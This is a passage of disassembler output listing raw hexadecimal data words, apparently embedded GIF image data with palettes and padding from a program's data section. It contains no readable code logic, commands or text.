0D9C188D8h, 83DAC282h, 0C39DD7C5h dd 0DAC7A3D8h, 8CDBC88Bh, 0CB92DBC6h, 0DCC9A5D8h, 0A6DBC68Dh dd 0C9A0DBC9h, 0DFCA95DEh, 0A8DCCE96h, 0D09DDFC8h, 0DECC97DEh dd 0A9DECAA3h, 0CF97E0CBh, 0E0D09EDFh, 9FE2CA9Fh, 0D3ABDFD2h dd 0E3D0A1E2h, 0AFE2D5A7h, 0D7A9E5D3h, 0E6D4B1E4h, 0B2E6D8AAh dd 0DBB9E5DDh, 0E7D7BFE5h, 0B3E7DAB9h, 0D9B4E8DBh, 0E9DCBBE9h dd 0BCEADBB5h, 0DEBCE9E0h, 0EBDCC3E9h, 0C4EADFBDh, 0Bh dup(0FFFFFFFFh) dd 4F921FFh, 0FF000A01h, 2C00h, 0BE0000h, 800001Ch, 9FF00FEh dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 789C4A23h dd 77BC1CD0h, 43A5D6ECh, 0C79D2E87h, 8A43208Fh, 0A4B2491Ch dd 532893C9h, 0B2C95CAAh, 0EB8EC8A5h, 6783BDD8h, 76B9A1CEh dd 0DB79C2E9h, 34DB2D96h, 4DACD69Fh, 0A8B44A1Bh, 9348A3D1h dd 0B4CA5D2Ah, 50A7D3A9h, 4A0D46A3h, 6F36E7B4h, 2BB5D2E1h dd 0BA9DD0B7h, 3DA4DB71h, 0ACAC7643h, 0D368B3D9h, 0B6CB5DAAh dd 70B7DBADh, 4B9DCAE3h, 66322E17h, 5385B8D2h, 39E14F07h dd 0FD98DA72h, 0D6EBA5FAh, 0CB2592Dh, 0B8CC5E2Bh, 90C7E3B1h dd 4C9E4B23h, 0CBE5B2B9h, 0BE271D98h, 0AFD7ABA5h, 9DC4D565h dd 5BEE0853h, 62B96333h, 0AAA53AA9h, 0B0D7EBB5h, 4D9ECB63h dd 0DBEDB6BBh, 0DEEB73B8h, 6B36DBCDh, 3582B958h, 614E06FBh dd 6CC46BB7h, 89E50AB1h, 0D04F2713h, 4E9F4BA3h, 0EBF5BABDh dd 0DF6BB3D8h, 0F7BBBDCEh, 0FE9DD7EFh, 0CAC50A7Bh, 0DD6BB116h dd 0B68B5214h, 4A26952Bh, 822D1690h, 0FDBEBF44h, 0EBF3F8FBh dd 0BFBFCFDFh, 600FFFFh, 0FB80E028h, 250907C9h, 4BB2A49Ah dd 0E428D834h, 6CB3324Ch, 80200922h, 8507D1F4h, 0E1A86618h dd 0E8761C86h, 862087E1h, 2488E228h, 87E26896h, 0C8C85216h dd 324AE26h, 8CA428Dh, 8124CA53h, 1AC6E1B4h, 0E3A1B86Bh dd 0E8F63C8Eh, 6408FE3h, 4490E429h, 91E46916h, 24192648h dd 11B46E8Eh, 0A424C8h, 0C3428CA3h, 210982F0h, 0C651A46Dh dd 0E9765C96h, 866097E5h, 6498E629h, 99E66996h, 26A9A668h dd 41B4699Ah, 0CB82588h, 0B42F90A3h, 19C7B24Ch, 45916C5Dh dd 0E9F45B16h, 6809FE7h, 84A0E82Ah, 0A1E86A16h, 0E8AA2688h dd 0BA128CA2h, 9C5D16E7h, 0AF238781h, 2D50A2F8h, 86A214ABh dd 0C1405517h, 84501304h, 0A4A8EA2Ah, 0A9EA6A96h, 0EAAAA6A8h dd 0EAB6ACAAh, 0B0FEABEAh, 1429FAA2h, 86A17C55h, 0A2D4A820h dd 0DC9F2B50h, 4C168641h, 10C43114h, 0EC6B1445h, 0AB26C8B1h dd 36CCB2ECh, 0D0B3ECEBh, 0B4ED2B46h, 6C3B32D4h, 415C4C11h dd 0B49F1DC6h, 992990A2h, 144601BCh, 43D0FC43h, 0ABA43F0Fh dd 0B6ECBAEEh, 0F0BBEEEBh, 0BCEF2BC6h, 0EF6BD6F4h, 7BC2F8BDh dd 44430FEEh, 991C45F1h, 2250A298h, 8401607Dh, 0A068210Ah dd 370CC2F0h, 10C3F0ECh, 0C4F12C47h, 0F16C5714h, 7C6718C5h dd 0F8280871h, 891B4560h, 1B486428h, 8270EC54h, 0ACA41206h dd 0B72CCAF2h, 30CBF2ECh, 0CCF32CC7h, 0F36CD734h, 0ACDB38CDh dd 503B09C1h, 8542B201h, 0D8541D0h, 0C0F06824h, 0AD2748D1h dd 374CD2F4h, 50D3F4EDh, 0D4F52D47h, 356D5754h, 60901AD5h dd 186D11C3h, 471C3402h, 54220D0h, 0A0280Ch, 0ADA76803h dd 0B76CDAF6h, 70DBF6EDh, 0DCF72DC7h, 0F76DD774h, 0CD9B6FDDh dd 2205FE40h, 1B0470CCh, 8242885h, 0F0C8471Bh, 140A0541h dd 8CD98050h, 0E3F8EE37h, 0F92E4790h, 6E5794E4h, 6798E5F9h dd 8AE4F9AEh, 7C1502Bh, 86C12432h, 0A1F90A20h, 7C2F1186h dd 0ACE280C0h, 0EBFAEEB7h, 0FB2EC7B0h, 6ED7B4ECh, 0E7B8EDFBh dd 0CEE7BAEh, 1102D07Ch, 10A1F868h, 0C114681Fh, 13890642h dd 0CCEEC040h, 0F3FCEF37h, 0BB8F47D0h, 0C05F8AF2h, 0F06610C2h dd 2BF17C31h, 1005060h, 0FE200800h, 6F97E4F8h, 0A7E8F9FEh dd 0ECFAFEAFh, 0FBFEEFB7h, 3EBFC7F0h, 9063CB00h, 8661042h dd 7723509Fh, 7830134h, 80180Eh, 1003h, 880F010h, 1702A04Ch dd 3A06C0C8h, 8C1081F0h, 482704A0h, 10220AC1h, 0E0140600h dd 1801600h, 0DE12817h, 2888508Dh, 2506211Ah, 1804A0C4h dd 1D0A8070h, 0BA1580B0h, 8C3085F0h, 48670CA1h, 0F0DA1AC3h dd 0A1CC3886h, 0C308770Eh, 8550B405h, 41181884h, 610940Ch dd 21628844h, 1E448895h, 210520B8h, 370740F0h, 6E0D41C0h dd 581A8370h, 0CC588AF1h, 0C8B716A2h, 0F17A2EC5h, 0A30C608Bh dd 4648C718h, 8AD15232h, 0F01D037h, 2E04E084h, 9511A1E4h dd 3A228868h, 1C4B8A31h, 0C87C0FE2h, 0A0EA1E43h, 0F1FA3EC7h dd 0A40C808Fh, 0C8490720h, 90F21A42h, 22A44C88h, 3AC7E917h dd 7F0F91F0h, 4625C438h, 504789D1h, 0CC9892E4h, 0C93726A4h dd 242A4EC9h, 3B0020h, 0 dd 38464947h, 156139h, 0C6E70012h, 201D1C00h, 26252322h dd 39372726h, 443A373Eh, 46574139h, 4A494947h, 544E4E4Fh dd 5B5A5756h, 6071615Ch, 78616121h, 75696465h, 66653366h dd 346F817Bh, 6F4A6F7Ah, 706E6F6Fh, 25728775h, 75767372h dd 76767675h, 7A77777Ah, 957B7777h, 7A7B187Ah, 7F7B7B7Bh dd 7F618183h, 8080837Fh, 60848584h, 84888484h, 889D8886h dd 2B89A32Dh, 988C8888h, 8A8A3E8Ch, 398E9D8Dh, 9A469098h dd 8D8C4390h, 358EAE90h, 93928F8Fh, 93929393h, 959596ABh dd 951B98BDh, 0A0BDA298h, 0AF9E9D17h, 0DA17A2CBh, 9FD700A0h dd 13A3D114h, 0B00DA1DBh, 0A9BF3DA9h, 3EA5C826h, 0DA0EA4DCh dd 0A6A613A5h, 11A6DBADh, 0DE1EA6DBh, 0A7DB03A8h, 21A7DB1Eh dd 0D213A9DCh, 0AADD15ACh, 0B2AAA811h, 0E103ACDDh, 0AEDF0CACh dd 29AEDD12h, 0D50FB3DEh, 0B0E853AFh, 0B2B1B213h, 0E63AB7C7h dd 0B4E10BB3h, 33BAC211h, 0E0B6B2B2h, 0BAC611B6h, 1BB7DF3Dh dd 0DF38BCC6h, 0B5B314B9h, 3AB5E2BEh, 0B63BB5E2h, 0B6E6BAB6h dd 18B9E532h, 0EB1EBAE0h, 0BBE009B9h, 0DBCE217h, 0E119BCDFh dd 0B8E333B9h, 7BEE33Ch, 0E31DBDE1h, 0B8B911BEh, 36B9E8C9h dd 0D611BFE1h, 0BEE43DBEh, 0BDBAB915h, 0CB3ABAE6h, 0C1E079BDh dd 0A6BCC015h, 0CA18C1E0h, 0BCBC34C5h, 11C2EDC3h, 0C016C4E8h dd 0C1E9B5C0h, 73BEDF34h, 0E70CC7E4h, 0BFD136C2h, 0A2C4C597h dd 0E829C7E6h, 0C6E238C5h, 0BEC3C340h, 0E8D3C2C2h, 0C8CA3CC6h dd 0A1C7D7B5h, 0EE69CFD1h, 0CAEA34CCh, 0CEC8C855h, 0CFDAC8C6h dd 0CBD4B0CAh, 62CEDE9Ch, 0E121CFF1h, 0C9D58DC9h, 0BECBCEB1h dd 0E124D3EAh, 0CEE196CCh, 28D4EE89h, 0E1DBCDCBh, 0D5F293CEh dd 16DBE423h, 0DB98CEE4h, 0CFCE62D7h, 0CBCFD3D8h, 0F395D0E3h dd 0D8EA1FD8h, 10DFE73Fh, 0E69CD2E7h, 0DCED98D3h, 0C7D4DB2Ch dd 0EAA0D5EBh, 0DADC9CD6h, 0A1D7EBA5h, 0DD9AD7EEh, 0D9EDBDDAh dd 0A4D8EF9Fh, 0ED32E2F6h, 0DCDC52E2h, 26E6F7D3h, 0EF8CE1E8h dd 0DCF341E7h, 3CE5F9A3h, 0E89FE1E5h, 0DFF488E4h, 0A3DFF5A3h dd 0F625EBF9h, 0F0F67EE4h, 0C5E3E91Ch, 0F450ECF3h, 0E9F535EFh dd 5FAFFBCh, 0FF88F1FBh, 2Bh dup(0FFFFFFFFh), 4F921FFh dd 0FF000A01h, 2C00h, 150000h, 8000012h, 9FF00FEh, 0CBD0381Ch dd 1308820Fh, 4803D412h, 6B81C3A1h, 0F2830912h, 5FA1E1D0h dd 0A8BD74C4h, 2790B088h, 516C9C52h, 957048E2h, 741D101Dh dd 0F241A314h, 5460A7DFh, 8148301Eh, 46C9180Bh, 69657AB9h dd 288540A0h, 0CE38775Fh, 4AEB4592h, 36260402h, 31561A05h dd 0B153AD53h, 803818A2h, 45991222h, 1ABA1EA0h, 0ED30955h dd 0E0460301h, 95A49299h, 208C850Ch, 6793A9F5h, 24020006h dd 0C2112CC4h, 47C29504h, 7994DA73h, 83816463h, 148E5218h dd 907C1B1h, 0D06E4242h, 0A562D18Ch, 380A0689h, 91F10094h dd 8224C6E3h, 49A8E45Bh, 980B0613h, 0B00A011Ah, 8243278h dd 0AA4E1E91h, 4833A40Ch, 7E412191h, 108198F6h, 2E1B0781h dd 0F9C4CE5Dh, 3FC267F2h, 692E8E38h, 0D54A650Ah, 58BC5DABh dd 0AA9582DDh, 924B2754h, 0B811C110h, 0E0642E1h, 5894421Eh dd 8B4602E1h, 93E2213h, 0C150C070h, 17F8482h, 3B0001h dd 0 dd 38464947h, 0E6139h, 56C6000Dh, 2F404300h, 4F244952h dd 4E5A3C4Bh, 37586226h, 664C585Bh, 6062405Dh, 5D636551h dd 72636F70h, 77906571h, 2179931Ah, 82627A7Bh, 86878281h dd 39FDA86h, 0E010A7DDh, 0ABDE06ABh, 1FABDF0Dh, 0DC19ACE3h dd 0ADDF11AFh, 0A2AEB01Fh, 0E41EADE1h, 0B2B218AFh, 14B6DAB1h dd 0E115B4E1h, 0B6E60FB6h, 1AB7DC05h, 0E1BBB3B3h, 0BCE113BAh dd 8FBABA08h, 0E3B9B7B6h, 0BAC14DB7h, 82BAD0A3h, 0DC1CBEE9h dd 0BFE626C1h, 98BCCB1Dh, 0D926C3DCh, 0C2E747C1h, 12C4E71Bh dd 0C082C1CCh, 0C7E3BFC1h, 2CC9E01Fh, 0CDA2C7C8h, 0D2D8A1C8h dd 23D3DA24h, 0DF8EC8DCh, 0CBCB8BCAh, 33D3E5C1h, 0D167CCEBh dd 0CCE59BD0h, 7CCEEA8Eh, 0F450D7DDh, 0D9E639D3h, 8BD1E028h dd 0F187D0EBh, 0D8E720D9h, 0C4D3D454h, 0EF7AD5ECh, 0D8DD8BD4h dd 84D6ED99h, 0F377DAE5h, 0D9F28DD7h, 89DCF686h, 0EF40E8EBh dd 0E8F591E1h, 91E5EB44h, 0FF42FBFFh, 1Fh dup(0FFFFFFFFh) dd 4F921FFh, 7F000A01h, 2C00h, 0E0000h, 700000Dh, 827F806Dh dd 85858483h, 85862435h, 0E555121h, 373E838Ah, 7F904B38h dd 0A0D413Bh, 54901847h, 34080943h, 53488A52h, 2A05073Ch dd 4D862742h, 2002D46h, 853D1F20h, 1C303336h, 12160401h dd 25832C1Ah, 1E22232Eh, 11130C0Bh, 820F2610h, 292B2F31h dd 1706031Dh, 28151419h, 4944327Fh, 3A504F4Ch, 454A4E39h dd 961B3F40h, 3B008185h, 38464947h, 1D6139h, 4DC6001Dh dd 8F8F8F00h, 92919191h, 93939292h, 95959593h, 97969696h dd 98989797h, 99999998h, 9B9A9A9Ah, 9C9C9B9Bh, 9D9D9D9Ch dd 9F9E9E9Eh, 0A0A09F9Fh, 0A1A1A1A0h, 0A3A2A2A2h, 0A4A4A3A3h dd 0A5A5A5A4h, 0A7A6A6A6h, 0A8A8A7A7h, 0A9A9A9A8h, 0ABAAAAAAh dd 0ACACABABh, 0ADADADACh, 0AFAEAEAEh, 0B0B0AFAFh, 0B1B1B1B0h dd 0B3B2B2B2h, 0B4B4B3B3h, 0B5B5B5B4h, 0B8B7B7B7h, 0B9B9B8B8h dd 0BABABAB9h, 0BCBBBBBBh, 0BDBDBCBCh, 0BEBEBEBDh, 0C0BFBFBFh dd 0C1C1C0C0h, 0C2C2C2C1h, 0C4C3C3C3h, 0C5C5C4C4h, 0C6C6C6C5h dd 0C8C7C7C7h, 0C9C9C8C8h, 0CACACAC9h, 0CCCBCBCBh, 0CDCDCCCCh dd 0CECECECDh, 0D1CFCFCFh, 0D2D2D1D1h, 0D3D3D3D2h, 0D7D5D5D5h dd 0D8D8D7D7h, 0D9D9D9D8h, 0DBDADADAh, 0DFDFDBDBh, 0E0E0E0DFh dd 0E2E1E1E1h, 0E5E5E2E2h, 0EEEEEEE5h, 26h dup(0FFFFFFFFh) dd 4F921FFh, 7F000A01h, 2C00h, 1D0000h, 700001Dh, 827F80FEh dd 1F828483h, 8A898520h, 25247F8Bh, 8A918C1Eh, 202A4A3Dh dd 44999288h, 1F2E474Ch, 3F92991Fh, 3547494Bh, 8CA11B1Eh dd 4346483Bh, 19233742h, 45358AAAh, 3B3D3F41h, 161B2A36h dd 403084B4h, 3336393Dh, 223A3431h, 0D0B9113h, 1311100Eh dd 0C52C1513h, 2F303032h, 233D2F2Eh, 120D8C10h, 1C1C1915h dd 32291E1Bh, 2C2D2DDBh, 3E2B2A2Bh, 238B112Ah, 383935DCh dd 2BEF3034h, 0A05229F0h, 84A26138h, 16121B8Ch, 2A1E224h dd 11440C5h, 78740455h, 12896082h, 68A04224h, 0A14100F1h dd 5E0A261Ah, 0C4022124h, 3A1D0F07h, 0E1E0EB98h, 261249D0h dd 816A141Ch, 0B86032Ah, 0A8542C16h, 34C28140h, 8201109h dd 43015A1Dh, 7AD31221h, 73D9E4F6h, 42A00482h, 0B068381Fh dd 66048160h, 9D3C3C84h, 0D39A74A0h, 482141A7h, 4160C06Dh dd 91E0B05h, 0F6C0885Dh, 75B65029h, 0A54EC561h, 22AD60EAh dd 5283710Ah, 0C1F62090h, 200BB258h, 68B07864h, 8038180h dd 0F0482410h, 7040440h, 50301973h, 3030110h, 503A7F60h dd 0C1565C90h, 12150A02h, 41A3FE60h, 9D38282h, 3AC05C18h dd 0C58402BAh, 205C1608h, 84505A3Ch, 380E0706h, 507B5D08h dd 22070503h, 7BD02050h, 41040250h, 541F1403h, 0E5E5C240h dd 80080083h, 9FFABD4Eh, 3B0040h, 38464947h, 186139h, 10840018h dd 0E6E6E600h, 0EDE8E8E8h, 0EFEFEDEDh, 0F0F0F0EFh, 0F2F1F1F1h dd 0F5F5F2F2h, 0F6F6F6F5h, 0F9F8F8F8h, 0FAFAF9F9h, 0FBFBFBFAh dd 0FDFCFCFCh, 0FEFEFDFDh, 0FFFFFFFEh, 0Bh dup(0FFFFFFFFh) dd 4F921FFh, 1F000A01h, 2C00h, 180000h, 5000018h, 8E27E061h dd 689E6964h, 0EB6CAEAAh, 0A4F2E5BEh, 902EB2CDh, 8ABAE26Dh dd 4404A523h, 0A4062E1h, 1840223h, 9F004073h, 1301A400h dd 598F863Dh, 6EE90455h, 0F7C85D47h, 1C2478D3h, 0F4796D8Eh dd 8F18BEA0h, 766048C1h, 92481A1Dh, 215C01A1h, 7727071Ah dd 3D08297Dh, 63840926h, 8E8D8C8Bh, 3B00212Dh, 0 dd 38464947h, 2926139h, 0FFE70028h, 825B2200h, 2F8F6825h dd 71258A67h, 0A073299Dh, 299A7233h, 752C9D76h, 9F782CA2h dd 2FA77B22h, 7E23A578h, 0A27B30A4h, 27A87A33h, 7D33AA7Eh dd 0AA7C35A4h, 29AD802Bh, 7F35A882h, 0AB7E37A6h, 39A78037h dd 8234AD7Fh, 0AA842CA2h, 43A98238h, 862EA87Fh, 0A98044ACh dd 3AA58438h, 8145AA83h, 0AB843BAAh, 43B1833Eh, 8639A583h dd 0AE8831A7h, 47AC853Ch, 873BAC83h, 0AD863DA8h, 34AF8933h dd 873FB08Ah, 0A98647AEh, 40AA893Dh, 8742AF88h, 0AA8748B5h dd 3EAF864Ah, 8C36AB8Ah, 0B08941B2h, 40AB8849h, 8D38AC8Bh dd 0B88946B4h, 43AD8C41h, 8B48B38Bh, 0B58E3AA7h, 42AD8A4Bh dd 8F40AE8Dh, 0B38A4EA9h, 48AF8E43h, 8F44BB8Ch, 0B68E47B0h dd 51B08D4Eh, 8B57B68Ch, 0B19046AFh, 47AB8F4Dh, 8F50B291h dd 0AD9345B1h, 53A7924Bh, 8D59B88Eh, 0B39248B1h, 51B9914Bh dd 9349B290h, 0B49153B4h, 5BBA9055h, 944AB38Fh, 0AF9350B5h dd 59BC934Dh, 9649AE91h, 0B6954BB1h, 55B09452h, 9257B693h dd 0B8964DBCh, 5BB19553h, 9751B093h, 0B29654ACh, 5DB89557h dd 935FB294h, 0B4994CB7h, 55B9984Eh, 9658B397h, 0B99461B9h dd 59B49856h, 965FBA97h, 0B69B4EB4h, 57BC9A51h, 9B56B599h dd 0B69A58B1h, 61BC995Bh, 9763B698h, 0B79B59BCh, 5AB89E51h dd 9A62B89Ch, 0BE9B5DB7h, 59B7986Ah, 9B63B49Eh, 0B99D5CB8h dd 62BF9C5Eh, 9C64B49Dh, 0BA9E5DB9h, 5BBA9A6Dh, 9D65B6A0h dd 0BC9F5EBBh, 64C09C68h, 9E67B69Fh, 0B8A25DBCh, 65BDA15Fh dd 9F68B7A0h, 0BD9D70BDh, 69B8A166h, 9F6BBEA0h, 0BAA45FC4h dd 6AB9A267h, 9F72BFA1h, 0B9A16FBFh, 6BBAA368h, 0A566C0A2h dd 0BBA469B5h, 73BBA271h, 0A56AC1A1h, 0C2A46DBCh, 72C2A275h dd 0A66BBCA4h, 0C3A56EBDh, 76BDA573h, 0A86DC3A4h, 0BFA674BFh dd 78C5A770h, 0A873C5A5h, 0C0A775BAh, 76C1A96Eh, 0A779C1A8h dd 0C8A972C7h, 78C2AB70h, 0A87BC2A9h, 0BDAB76C8h, 6FC3AA79h dd 0AD72BEAEh, 0C4AB7AC4h, 73BFAD78h, 0AC7BC5AEh, 0C5AA82C5h dd 74CBAB7Dh, 0AD7CC7AFh, 0BBB076C6h, 7ACCAC7Fh, 0AE7DC1AFh dd 0C8AF7EC7h, 7FC9B277h, 0B27CC9B0h, 0CAB180C3h, 7ACAAF87h dd 0B281BFB4h, 0D1B183CCh, 7AC6B47Fh, 0B386CCB5h, 0CCB289C6h dd 81CDB482h, 0B584C8B6h, 0C3B87ECEh, 89C3B686h, 0B48CC9B5h dd 0CAB882CFh, 85CAB68Ah, 0B887D0B7h, 0CBB88BD2h, 8FCCBA84h dd 0BA89D2B7h, 0CCB98CC6h, 83CDBB86h, 0BA8DC8BDh, 0CEBC87CDh dd 8BD4B991h, 0BB8EC9BCh, 0CFB995CEh, 8FD0BE88h, 0BB92D0BCh dd 0CABE8DD6h, 90D0BB97h, 0C08AD1BDh, 0D8BD94D2h, 92CDC090h dd 0BE9AD2BFh, 0D4C093D3h, 95CFC292h, 0C493D5C1h, 0D7C396D1h dd 98D7C29Eh, 0C599D8C4h, 0D3C796CCh, 9DD6C998h, 0FFFFD1C9h dd 4F921FFh, 0FF000A01h, 2C00h, 2920000h, 8000028h, 9FF00FEh dd 0A0B0481Ch, 130883C1h, 0B0C85C2Ah, 1087C3A1h, 489C4A23h dd 8BC5A2B1h, 0DC6A3318h, 0C7A3B1C8h, 8A43208Fh, 9BD1D91Ch dd 532872B7h, 0B2C95CAAh, 0ED783C1Ch, 499BCE62h, 9BBE66B3h dd 0DBEA7338h, 4F1F33B9h, 0A833C9Fh, 0A8B44A1Dh, 92F6A251h dd 4F6A5D2Ah, 50A7D39Eh, 0DA8D4AA3h, 73D46A74h, 0DD6AB358h dd 0B8DB75AAh, 89B6E0AFh, 0ACAE06DDh, 0BF5F7059h, 0F6CB5D72h dd 0DCB2DA5Ch, 3B1366E2h, 0BBB4EC57h, 0CB59B777h, 0B65B77C6h dd 0A6CD71B8h, 70B84B6Dh, 9F587256h, 58CC5BBEh, 0EFC63C5Eh dd 578BC71Ch, 7E3D72AFh, 0EE633398h, 3F5F8FD7h, 8B43A07Fh dd 0B359DD06h, 4FA6CAE9h, 991C9E57h, 0B0D7EB9Ch, 4D962363h dd 70B8763Bh, 0BB81C369h, 0DCAF980Dh, 0F1B980BFh, 0EEBC1E0Eh dd 92CB69B6h, 0BCCE5F2Bh, 0CFE7B1B9h, 0DE9F4189h, 6372BABCh dd 0FB0FB2C4h, 0AEFB9DC5h, 0FEC3E0EFh, 6BFF178Bh, 0E8F3F757h dd 8F17A7D3h, 0F7FB978Bh, 8FB571EEh, 0ACD67F2Fh, 0EBF3F6FAh dd 0BFBFCFDFh, 0A9F6FFFFh, 480E022h, 81E06816h, 52740A04h dd 0F4B20C4Bh, 0C0ED4C12h, 0F384D353h, 50D3A4E4h, 0D474DD40h dd 18761C86h, 2A205314h, 2488D565h, 5AD86896h, 0D6458D6Fh dd 760D6559h, 0C16F5B62h, 2A5D1715h, 5E8D35E2h, 5C05CD7Ch dd 0F5AA2D60h, 215A8FE2h, 926418A6h, 9159364Dh, 0DA96A193h dd 1935A366h, 599992DAh, 966A64A6h, 95DB56B1h, 0DB695CE7h dd 0B6E5B76Bh, 1BD385Bh, 0C2711627h, 58DBD991h, 0E6A759C8h dd 3749D375h, 566B319Dh, 0E8769D87h, 9DA7678Dh, 0A7A9E5EAh dd 7CDE177h, 0C9EF7D1Fh, 7E2827h, 0A1A86A16h, 68AA2608h dd 0D82E0A81h, 3D29A3E0h, 1484A128h, 3E4F64D2h, 0E9A8794Bh dd 8869AA6h, 86A08962h, 699014FAh, 8AD61581h, 2A58B22Bh dd 55BD5C90h, 0D6FE5CDCh, 5EA369A0h, 1BEAD4D6h, 0C8F98260h dd 0CD6B6D6Ah, 90538E46h, 652C2B05h, 64E94253h, 26625093h dd 0AE51B165h, 0B59698B6h, 0B4ED26DDh, 0ED6B4DAEh, 0D70A60B5h dd 70E136D7h, 0D25C5C3Bh, 719B7706h, 0DD69C669h, 69C2E89Bh dd 127372EEh, 0DD76CC33h, 782F29DDh, 0E769EE7Bh, 0ABE6F8A0h dd 0F687A0AFh, 8B7F2FEBh, 0A3608C06h, 0F06C1526h, 5A4307C1h dd 54ED4C4Eh, 10A78F3Ah, 0C4F12C47h, 0AA252714h, 0C5D8955h dd 0C6BA8BD5h, 63601678h, 59E665C9h, 56EAEAA5h, 93731EC9h dd 5AB53663h, 0CF34CCF3h, 0CCCCF754h, 72D33F34h, 8AE6B88Eh dd 0F33C8B32h, 0E157ED2Ch, 622BE964h, 9906CB42h, 0CB26C491h dd 51A2B1CFh, 0CB926529h, 0B4656D3Eh, 0F56D56D8h, 0A360E1D5h dd 4CD2AD75h, 0D2D7CD23h, 0D8F5ACB4h, 0D6D6F64h, 99A8D272h dd 0B5D9BB6Eh, 6E30DDADh, 0DAE6EDC7h, 0E7CBBEEDh, 0A2D6822Eh dd 0B8DEFEB7h, 0BEF7EDECh, 780BCAF9h, 2DEB7EDEh, 2788E1CBh dd 2E278AEh, 81F8EE37h, 792E44A6h, 6E4E03E4h, 8A6E5F9h dd 835CD74h, 0A3B9EE77h, 7A2C320Ch, 1A59504Ch, 529FE9A2h dd 1AEA7155h, 0EBEAC55Fh, 4E3CA159h, 28CCE0CFh, 0D62A8D17h dd 0C15D32B5h, 0ABFBEED1h, 72F36EB5h, 332EEBB9h, 123BCDEBh dd 0CC99A327h, 6E1BA713h, 55BD15B0h, 2918EF6Dh, 64FB9425h dd 4EF67DAFh, 0F7F483D7h, 0EC64FE0h, 8D025C3Bh, 5BE79835h dd 0D8D64D9Bh, 363ED364h, 0B5ED7CD6h, 2FCB6072h, 0BF355DFFh dd 0D19CB5FCh, 0BBF6DDC9h, 9EDBB400h, 404802h, 0E05E0DBEh dd 16DF8F91h, 160640C7h, 8C1081EEh, 2160E2A0h, 22A5038Bh dd 0E0C8AE15h, 20271F05h, 730821C9h, 8A10C20h, 50B93847h dd 2714C284h, 983FDCCCh, 0B9CDC2C1h, 0FB9C85F0h, 35210C9Ch dd 0EEB476BAh, 18DC3886h, 1581B6ABh, 2B0EC21Eh, 0CB3B25FEh dd 0B2A79A36h, 7888D56Dh, 5E959A36h, 26B2B772h, 2D65913Ah dd 9CF10E3Bh, 0E575A6F3h, 797B2C65h, 0C8B6CB62h, 11662EC5h dd 52F9BA30h, 2D05A4A9h, 32CD2076h, 0F707E34Ah, 0F13DE59Ah dd 0E3360B3Dh, 0B91CA38Bh, 0B1703554h, 35C6C8Fh, 81A4CB5Bh dd 0B1EDB08Dh, 5F9B607Eh, 1C919C33h, 90F21867h, 22244C88h dd 0FE8CB5D9h, 0F5800DC1h, 29F4F2Ah, 0E17B1E47h, 0CB866FADh dd 583526A0h, 0D05C528Ah, 0A50C1793h, 0C0D83328h, 160E2652h dd 80A50CA8h, 0C94A1944h, 0AE148291h, 67092584h, 0DA133969h dd 0CCB896F2h, 0C9772EA5h, 840A5E4Bh, 8680CC85h, 4C198530h dd 98F0C068h, 0C1E1942Eh, 85CCC1D0h, 0A22D63B5h, 58538ADAh dd 9E1FBAE5h, 0F16254ACh, 0F769369Dh, 0A8D11CAAh, 4BC1768Bh dd 0C4939AF1h dd 9CB170BBh, 74135C49h, 0E7B6D7FCh, 0CF7F2B98h, 0E0CD8690h dd 0E4E6B339h, 0FEF16BEFh, 0D2D6A3E4h, 0C8D7AD87h, 5B517AD1h dd 16A23ED6h, 86BA398Fh, 2834727Ch, 0B655ACF9h, 0A1F201B2h dd 335FAD10h, 8A8CD1A4h, 1818F45Ah, 3746862Dh, 7A8ED1CAh dd 2AEDA3B4h, 9924BC06h, 7261C1C0h, 9BE2836Fh, 0B7B5F149h dd 93A2B9C3h, 4C698D30h, 990A495Fh, 38A6F4DAh, 532B2985h dd 0FA9ED341h, 0A4B61494h, 41412EA9h, 0B51AA2D4h, 450543A8h dd 89796F2Fh, 0A9F53AA6h, 54AA8D50h, 5FD52AA7h, 0C3981302h dd 0B356AACCh, 0CA17CC8Ah, 0FD609AD0h, 654CECA1h, 0A5F8E216h dd 9E4A6189h, 0C5B89A99h, 78658867h, 23671CE2h, 38D723A9h dd 0FF7F8CC5h, 87A6483h, 24E84ED8h, 89C918E7h, 4A2D4599h dd 0F61A8C33h, 0EC3588B0h, 0D10A2A33h, 9F66DDB2h, 37C6FB56h dd 0F0C66A12h, 0E17B264Dh, 0C837E393h, 846FAD61h, 5A0B243h dd 18FAB4ADh, 345E8951h, 6D4DA8B1h, 5ACA3F62h, 175472D4h dd 5FEFDB0h, 9F21756Ch, 8236D85Bh, 3A5340Bh, 97386B71h dd 0A214B4E6h, 8770AE08h, 0FE9ADC4Bh, 0A530B8F6h, 0AB9751E9h dd 0F73AE689h, 0AE7DD0B9h, 553B9B54h, 0BAD5344Dh, 542ECD54h dd 0EEDDC121h, 0E0BBF77Ah, 0AF55AF0Dh, 9864CC0Ah, 3DE8BCF7h dd 0DAB556EFh, 48AA1755h, 0AF8D6345h, 5F4BE77Ch, 5B6F3516h dd 7BD58B2Bh, 0B7B34785h, 0B58BD5BAh, 0EB14DFCAh, 1602B75Ah dd 0ACEE3B30h, 0E9D6726Bh, 4DDE0136h, 0CF39E15Fh, 8C739F81h dd 18C33D74h, 62176D89h, 67D87C29h, 0A5B07460h, 3D3EE87Dh dd 26C959FBh, 4D94A0B4h, 7B443B31h, 963F1635h, 866D14B4h dd 0E34C676Ah, 0B5F61A8Ch, 8EB1CDB3h, 0D9E3CC77h, 0BD16EA0Ah dd 8726DC4Dh, 6A9BDC8Ch, 7E43A612h, 1B894CA9h, 0A276E75Dh dd 2E8E4D13h, 547B9771h, 0B9F94451h, 96B2C896h, 4865BCB7h dd 92121964h, 0C598B308h, 70495DECh, 3E66CC77h, 0C398FE73h dd 8736E6CBh, 8E701137h, 0DCE79CB3h, 2243385Dh, 48109011h dd 67CCF630h, 0BCD7A73Eh, 7A73FE7Bh, 611C9AB7h, 0FB9865DEh dd 55A2B44Dh, 3746C444h, 697C89FAh, 52F0CD2Bh, 9A5B054Fh dd 5B926D4Dh, 1E33CF00h, 0C0C770EFh, 0DC676370h, 0EFE9C808h dd 0B2C834A4h, 74BE2940h, 0C85D1E11h, 2D88C756h, 3D678F46h dd 0D8D68D5Bh, 68B583B0h, 0E246B4FDh, 8E58AED0h, 427608E2h dd 0C95A1B27h, 64B1AD6Ah, 6DADED33h, 0C35A518Ch, 0D6CE18F6h dd 4DA76DB1h, 7AD2DB6Dh, 76C8B1DAh, 8AD15BB6h, 0DBE29E0Ch dd 0B8851C9Dh, 72E45DC5h, 9AC996FFh, 2DBA84C0h, 8776E681h dd 0C6EACB79h, 